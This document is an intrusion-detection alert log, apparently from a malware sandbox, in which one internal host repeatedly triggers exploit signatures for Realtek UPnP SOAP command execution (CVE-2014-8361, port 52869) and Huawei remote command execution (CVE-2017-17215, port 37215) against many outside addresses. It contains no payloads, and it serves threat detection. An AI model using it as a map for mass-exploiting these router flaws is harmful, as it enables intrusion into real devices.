07/20/24-23:02:00.866395	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40598	52869	192.168.2.23	209.114.160.105
07/20/24-23:01:00.634089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35110	37215	192.168.2.23	157.73.230.79
07/20/24-23:01:34.044293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40776	37215	192.168.2.23	157.116.8.136
07/20/24-23:01:04.240033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58496	37215	192.168.2.23	32.245.170.235
07/20/24-23:01:34.043865	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48550	37215	192.168.2.23	157.8.209.32
07/20/24-23:01:41.258057	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53762	52869	192.168.2.23	221.103.3.16
07/20/24-23:01:46.019511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33542	52869	192.168.2.23	164.28.92.86
07/20/24-23:01:00.633295	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37926	37215	192.168.2.23	157.32.103.4
07/20/24-23:01:46.092258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34218	52869	192.168.2.23	36.12.14.153
07/20/24-23:02:07.984371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35942	52869	192.168.2.23	157.76.157.173
07/20/24-23:01:14.100332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37614	37215	192.168.2.23	54.24.241.219
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46656	37215	192.168.2.23	157.47.11.186
07/20/24-23:01:52.720668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36286	52869	192.168.2.23	210.199.180.209
07/20/24-23:01:41.293630	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36548	52869	192.168.2.23	118.3.222.239
07/20/24-23:01:08.559170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46372	52869	192.168.2.23	148.117.206.184
07/20/24-23:01:20.603553	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60298	52869	192.168.2.23	52.234.117.101
07/20/24-23:01:58.301558	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48106	52869	192.168.2.23	167.172.23.251
07/20/24-23:02:00.725615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54942	52869	192.168.2.23	157.156.14.69
07/20/24-23:01:43.087294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41836	52869	192.168.2.23	183.141.159.182
07/20/24-23:01:52.684763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35248	52869	192.168.2.23	17.121.90.69
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52540	37215	192.168.2.23	41.119.179.108
07/20/24-23:01:40.279669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60064	37215	192.168.2.23	157.182.220.13
07/20/24-23:01:43.994703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40006	52869	192.168.2.23	42.169.174.111
07/20/24-23:02:06.689806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41968	52869	192.168.2.23	35.30.208.203
07/20/24-23:01:45.731228	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35482	52869	192.168.2.23	222.131.76.141
07/20/24-23:01:24.707761	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33544	52869	192.168.2.23	40.226.47.93
07/20/24-23:02:14.686790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55400	52869	192.168.2.23	14.149.133.62
07/20/24-23:01:14.049603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40608	37215	192.168.2.23	157.40.217.143
07/20/24-23:01:02.045831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45764	37215	192.168.2.23	197.235.104.194
07/20/24-23:01:42.898615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55692	52869	192.168.2.23	142.238.177.84
07/20/24-23:01:43.944379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39588	52869	192.168.2.23	176.130.206.241
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38352	37215	192.168.2.23	20.109.185.247
07/20/24-23:01:42.297644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33012	52869	192.168.2.23	104.116.61.223
07/20/24-23:00:57.221748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39456	37215	192.168.2.23	57.35.73.126
07/20/24-23:01:51.063023	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51810	52869	192.168.2.23	133.103.41.145
07/20/24-23:01:57.269160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34702	52869	192.168.2.23	185.209.39.214
07/20/24-23:01:14.103467	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59180	37215	192.168.2.23	197.49.55.120
07/20/24-23:01:44.658614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59664	52869	192.168.2.23	143.69.193.236
07/20/24-23:01:51.021834	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52308	52869	192.168.2.23	132.12.76.39
07/20/24-23:01:31.322288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41996	52869	192.168.2.23	115.28.108.81
07/20/24-23:01:08.646615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32940	52869	192.168.2.23	147.69.83.159
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41862	37215	192.168.2.23	41.83.208.105
07/20/24-23:01:46.520663	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52002	52869	192.168.2.23	41.250.44.72
07/20/24-23:01:01.818567	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60200	52869	192.168.2.23	25.222.248.206
07/20/24-23:00:57.221727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55506	37215	192.168.2.23	157.6.221.99
07/20/24-23:00:57.221790	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53842	37215	192.168.2.23	197.55.83.122
07/20/24-23:01:43.946380	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50156	52869	192.168.2.23	114.188.204.238
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39268	37215	192.168.2.23	41.224.244.226
07/20/24-23:02:10.632121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57462	52869	192.168.2.23	113.241.33.36
07/20/24-23:01:42.592141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53584	52869	192.168.2.23	105.155.204.151
07/20/24-23:01:01.799480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60470	52869	192.168.2.23	25.158.237.150
07/20/24-23:01:46.483452	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42042	52869	192.168.2.23	150.183.171.74
07/20/24-23:01:49.034246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43210	52869	192.168.2.23	112.175.144.226
07/20/24-23:01:08.572196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50430	52869	192.168.2.23	54.250.134.170
07/20/24-23:01:48.065745	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48512	52869	192.168.2.23	87.107.52.197
07/20/24-23:01:49.775041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36792	52869	192.168.2.23	41.172.236.0
07/20/24-23:01:20.592479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53042	52869	192.168.2.23	118.135.71.210
07/20/24-23:01:42.662466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34206	52869	192.168.2.23	130.184.173.22
07/20/24-23:01:45.426290	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41698	52869	192.168.2.23	223.51.209.65
07/20/24-23:01:08.679677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47086	52869	192.168.2.23	103.179.244.2
07/20/24-23:01:41.205247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43106	52869	192.168.2.23	104.24.229.93
07/20/24-23:00:59.185032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41970	37215	192.168.2.23	197.113.51.118
07/20/24-23:01:07.026812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47382	37215	192.168.2.23	126.151.179.206
07/20/24-23:01:46.485082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56676	52869	192.168.2.23	120.189.67.125
07/20/24-23:01:06.994337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36820	37215	192.168.2.23	197.179.239.59
07/20/24-23:01:20.591862	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58820	52869	192.168.2.23	8.133.200.251
07/20/24-23:01:59.096276	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43620	52869	192.168.2.23	120.123.66.167
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42580	37215	192.168.2.23	41.141.154.207
07/20/24-23:01:43.190670	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51900	52869	192.168.2.23	17.241.55.92
07/20/24-23:01:01.632331	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51590	52869	192.168.2.23	63.150.57.125
07/20/24-23:01:14.296756	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45326	37215	192.168.2.23	202.108.222.223
07/20/24-23:01:31.331748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40186	52869	192.168.2.23	84.102.198.205
07/20/24-23:01:20.596401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45956	52869	192.168.2.23	178.124.248.177
07/20/24-23:01:04.760964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39610	52869	192.168.2.23	119.8.134.128
07/20/24-23:01:41.339597	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48770	52869	192.168.2.23	40.200.215.102
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39666	37215	192.168.2.23	198.55.153.11
07/20/24-23:01:43.044693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53134	52869	192.168.2.23	159.4.8.31
07/20/24-23:01:14.049602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57588	37215	192.168.2.23	222.200.88.35
07/20/24-23:01:41.542563	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60338	52869	192.168.2.23	162.207.42.25
07/20/24-23:01:42.000471	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56196	52869	192.168.2.23	199.90.7.168
07/20/24-23:01:55.974605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52974	52869	192.168.2.23	187.223.52.236
07/20/24-23:01:42.813695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54032	52869	192.168.2.23	196.168.75.104
07/20/24-23:01:10.856294	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42986	52869	192.168.2.23	2.221.152.25
07/20/24-23:01:31.331748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42850	52869	192.168.2.23	113.130.121.87
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57214	37215	192.168.2.23	41.104.14.193
07/20/24-23:01:45.683188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37380	52869	192.168.2.23	198.213.74.132
07/20/24-23:01:02.102095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59822	52869	192.168.2.23	193.135.58.157
07/20/24-23:01:20.598095	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47886	52869	192.168.2.23	113.195.103.231
07/20/24-23:01:58.146170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41844	52869	192.168.2.23	166.102.172.20
07/20/24-23:01:50.759828	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35976	52869	192.168.2.23	130.253.20.234
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42284	37215	192.168.2.23	157.197.135.159
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39198	37215	192.168.2.23	41.107.194.160
07/20/24-23:01:43.813001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45390	52869	192.168.2.23	169.195.139.119
07/20/24-23:01:57.787786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38406	52869	192.168.2.23	60.14.147.228
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57116	37215	192.168.2.23	41.155.124.93
07/20/24-23:01:08.667964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49882	52869	192.168.2.23	115.225.187.157
07/20/24-23:01:43.580365	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55990	52869	192.168.2.23	94.120.34.76
07/20/24-23:01:53.372532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57208	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:48.842529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32888	52869	192.168.2.23	36.12.14.153
07/20/24-23:01:50.848726	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55424	52869	192.168.2.23	100.28.35.63
07/20/24-23:01:08.589759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59784	52869	192.168.2.23	218.167.11.188
07/20/24-23:01:44.963815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42802	52869	192.168.2.23	203.128.56.168
07/20/24-23:01:48.021704	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53752	52869	192.168.2.23	210.173.156.193
07/20/24-23:01:49.412594	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37478	52869	192.168.2.23	20.158.48.199
07/20/24-23:01:31.974837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39248	37215	192.168.2.23	110.11.201.127
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50594	37215	192.168.2.23	157.81.54.196
07/20/24-23:01:42.790680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40562	52869	192.168.2.23	108.54.73.191
07/20/24-23:01:20.591862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58720	52869	192.168.2.23	5.142.247.218
07/20/24-23:01:41.682135	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42860	52869	192.168.2.23	8.157.181.46
07/20/24-23:01:11.816277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44124	37215	192.168.2.23	62.86.14.116
07/20/24-23:01:42.304767	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34786	52869	192.168.2.23	219.196.66.69
07/20/24-23:01:00.654988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60584	37215	192.168.2.23	41.215.110.81
07/20/24-23:01:14.111381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60172	37215	192.168.2.23	195.93.174.118
07/20/24-23:01:45.074222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48114	52869	192.168.2.23	112.102.125.164
07/20/24-23:01:56.768240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43520	52869	192.168.2.23	210.84.36.218
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33378	37215	192.168.2.23	157.223.84.102
07/20/24-23:01:43.121284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43794	52869	192.168.2.23	161.25.16.6
07/20/24-23:01:41.290518	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40086	52869	192.168.2.23	95.50.29.160
07/20/24-23:01:44.765093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46870	52869	192.168.2.23	60.118.116.115
07/20/24-23:01:58.067320	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35074	52869	192.168.2.23	108.147.254.33
07/20/24-23:01:42.129029	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34930	52869	192.168.2.23	155.71.120.47
07/20/24-23:01:42.509004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42880	52869	192.168.2.23	85.101.71.143
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39384	37215	192.168.2.23	197.59.190.80
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48754	37215	192.168.2.23	85.88.209.175
07/20/24-23:01:03.149410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34424	52869	192.168.2.23	208.190.62.115
07/20/24-23:02:40.696155	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40442	52869	192.168.2.23	5.105.178.105
07/20/24-23:01:45.233561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39054	52869	192.168.2.23	2.166.49.173
07/20/24-23:01:08.594120	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58402	52869	192.168.2.23	44.70.248.184
07/20/24-23:01:08.578116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34374	52869	192.168.2.23	25.222.248.206
07/20/24-23:01:08.589760	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51690	52869	192.168.2.23	190.34.49.149
07/20/24-23:01:08.619598	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36368	52869	192.168.2.23	65.114.239.111
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49380	37215	192.168.2.23	157.177.146.54
07/20/24-23:01:42.527234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48880	52869	192.168.2.23	71.169.30.84
07/20/24-23:02:06.806210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44198	52869	192.168.2.23	147.8.193.70
07/20/24-23:01:08.565610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43736	52869	192.168.2.23	119.187.229.164
07/20/24-23:01:31.333070	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56100	52869	192.168.2.23	221.42.114.149
07/20/24-23:01:43.852550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41846	52869	192.168.2.23	32.76.174.48
07/20/24-23:01:10.996987	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39666	52869	192.168.2.23	27.116.111.15
07/20/24-23:01:54.345402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48096	52869	192.168.2.23	93.193.20.196
07/20/24-23:01:48.133778	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56752	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:41.488676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36638	52869	192.168.2.23	89.174.70.107
07/20/24-23:01:51.107223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56572	52869	192.168.2.23	42.135.139.61
07/20/24-23:01:41.323363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57652	52869	192.168.2.23	53.13.47.10
07/20/24-23:00:57.221550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37826	37215	192.168.2.23	41.76.26.43
07/20/24-23:01:43.425298	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48686	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:51.014531	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43234	52869	192.168.2.23	120.123.66.167
07/20/24-23:01:47.163877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33238	52869	192.168.2.23	175.15.219.89
07/20/24-23:01:02.380657	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47818	52869	192.168.2.23	120.187.5.172
07/20/24-23:01:02.113054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42612	37215	192.168.2.23	178.236.15.67
07/20/24-23:01:08.609855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38658	52869	192.168.2.23	112.103.96.49
07/20/24-23:01:46.146350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47110	52869	192.168.2.23	183.90.49.252
07/20/24-23:01:14.296756	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53070	37215	192.168.2.23	177.10.233.116
07/20/24-23:01:43.135090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39010	52869	192.168.2.23	150.76.139.116
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52270	37215	192.168.2.23	197.196.115.165
07/20/24-23:01:51.916673	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35716	52869	192.168.2.23	124.74.75.114
07/20/24-23:01:00.633275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39114	37215	192.168.2.23	197.196.77.201
07/20/24-23:01:49.170008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40856	52869	192.168.2.23	90.144.20.22
07/20/24-23:00:59.178062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44596	37215	192.168.2.23	41.119.22.219
07/20/24-23:01:41.303669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49992	52869	192.168.2.23	152.188.24.161
07/20/24-23:01:08.562013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54784	52869	192.168.2.23	90.243.193.156
07/20/24-23:01:44.415588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53256	52869	192.168.2.23	133.125.214.226
07/20/24-23:01:43.071126	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44716	52869	192.168.2.23	166.254.78.153
07/20/24-23:01:47.038105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37582	52869	192.168.2.23	117.120.22.241
07/20/24-23:01:00.633810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45072	37215	192.168.2.23	157.230.177.125
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40554	37215	192.168.2.23	182.56.199.136
07/20/24-23:01:47.943232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43862	52869	192.168.2.23	213.170.177.158
07/20/24-23:01:24.832675	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59242	52869	192.168.2.23	24.104.161.240
07/20/24-23:01:42.442441	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60254	52869	192.168.2.23	99.233.112.21
07/20/24-23:01:02.093903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49164	37215	192.168.2.23	71.240.106.220
